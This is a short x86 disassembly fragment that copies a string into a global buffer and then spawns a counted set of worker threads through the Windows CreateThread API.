mov edi, 0x59699d4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x594295e
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x59699d4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x5969594], ecx
test eax, eax
mov dword [0x5969584], eax
je 0x5942998
push 0
push 0
push 0
push 0x5942590
push 0
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x1c]
mov byte [0x5969590], 0
test edi, edi
jle 0x59429c5
mov esi, 0x5969174
push 0
push 0
push 0
push 0x59425d0
push 0
push 0
call ebx
mov dword [esi], eax
add esi, 4
dec edi
jne 0x59429ac
pop edi
pop esi
pop ebx
ret